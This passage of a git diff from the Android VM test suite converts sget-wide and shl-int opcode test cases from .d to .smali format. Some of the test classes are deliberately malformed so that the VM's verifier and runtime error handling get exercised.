+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_2.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_2;
+.super  Ljava/lang/Object;
+
+.field public static val:D
+
+.method static constructor <clinit>()V
+.registers 2
+       const-wide v0, 123.0
+       sput-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_2;->val:D
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()D
+.registers 4
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_2;->val:D
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.d
deleted file mode 100644
index 1861a25..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_20.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_20
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_20.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.smali
new file mode 100644
index 0000000..527111f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_20.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_20;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_20;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.d
deleted file mode 100644
index e672291..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_3.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_3
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-wide v3, dot.junit.opcodes.sget_wide.d.T_sget_wide_3.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.smali
new file mode 100644
index 0000000..6632776
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_3.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_3;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-wide v3, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_3;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.d
deleted file mode 100644
index 9924345..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_4.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_4
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_4.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.smali
new file mode 100644
index 0000000..259465a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_4.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_4;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_4;->i1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.d
deleted file mode 100644
index e323dc0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.d
+++ /dev/null
@@ -1,38 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_5.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_5
-.super java/lang/Object
-
-.field public i1 J
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-
-       const-wide v0, 5
-       iput-wide v0, v3, dot.junit.opcodes.sget_wide.d.T_sget_wide_5.i1 J
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_5.i1 J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.smali
new file mode 100644
index 0000000..73902bb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_5.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_5;
+.super  Ljava/lang/Object;
+
+.field public i1:J
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const-wide v0, 5
+       iput-wide v0, v3, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_5;->i1:J
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_5;->i1:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.d
deleted file mode 100644
index 48e59f1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_6.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.TestStubs.TestStubField J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.smali
new file mode 100644
index 0000000..6371f7b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_6.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/TestStubs;->TestStubField:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.d
deleted file mode 100644
index b34ddd6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_7.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v0, dot.junit.opcodes.sget_wide.d.T_sget_wide_7no_class.i1 J
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.smali
new file mode 100644
index 0000000..0848fcb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_7.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v0, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_7no_class;->i1:J
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.d
deleted file mode 100644
index d53c7dd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_wide_8.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.T_sget_wide_8.i1N J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.smali
new file mode 100644
index 0000000..02bb23d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_wide_8.java"
+.class  public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 3
+
+       sget-wide v1, Ldot/junit/opcodes/sget_wide/d/T_sget_wide_8;->i1N:J
+       return-wide v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.d
deleted file mode 100644
index e223578..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.d
+++ /dev/null
@@ -1,53 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source StubInitError.java
-.class public dot.junit.opcodes.sget_wide.d.StubInitError
-.super java/lang/Object
-
-.field public static value J
-
-.method static <clinit>()V
-.limit regs 2
-
-       const/4 v0, 0
-       const/4 v1, 5
-       div-int/2addr v1, v0
-
-       const-wide v0, 1    
-       sput-wide v0, dot.junit.opcodes.sget_wide.d.StubInitError.value J
-       return-void
-.end method
-
-
-.source T_sget_wide_9.java
-.class public dot.junit.opcodes.sget_wide.d.T_sget_wide_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 3
-
-       sget-wide v1, dot.junit.opcodes.sget_wide.d.StubInitError.value J
-       return-wide v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..add9317
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_wide/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:J
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x5
+
+    div-int/2addr v1, v0
+
+    const-wide v0, 0x1
+
+    sput-wide v0, Ldot/junit/opcodes/sget_wide/d/StubInitError;->value:J
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/T_sget_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/T_sget_wide_9.smali
new file mode 100644
index 0000000..8a0fb4b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_wide/d/T_sget_wide_9.smalis/T_sget_wide_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_wide/d/T_sget_wide_9;
+.super Ljava/lang/Object;
+.source "T_sget_wide_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 3
+
+    sget-wide v1, Ldot/junit/opcodes/sget_wide/d/StubInitError;->value:J
+
+    return-wide v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.d
deleted file mode 100644
index a9e9ede..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_1.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int v0, v6, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.smali
new file mode 100644
index 0000000..52868d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_1.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_1.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int v0, v6, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.d
deleted file mode 100644
index f1955e7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_2.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 8
-
-       shl-int v0, v7, v8
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.smali
new file mode 100644
index 0000000..44d6d46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_2.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_2.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int v0, v7, v8
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.d
deleted file mode 100644
index 88fff38..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_3.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(DI)I
-.limit regs 8
-
-       shl-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.smali
new file mode 100644
index 0000000..54208f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_3.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_3.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shl-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.d
deleted file mode 100644
index 2b2fd1e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.d
+++ /dev/null
@@ -1,18 +0,0 @@
-.source T_shl_int_4.java
-.class public dot.junit.opcodes.shl_int.d.T_shl_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JI)I
-.limit regs 8
-
-       shl-int v0, v5, v7
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.smali
new file mode 100644
index 0000000..0cff446
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_4.smali
@@ -0,0 +1,18 @@
+.source "T_shl_int_4.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shl-int v0, v5, v7
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.d
deleted file mode 100644
index 1ae15e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_5.d
+++ /dev/null
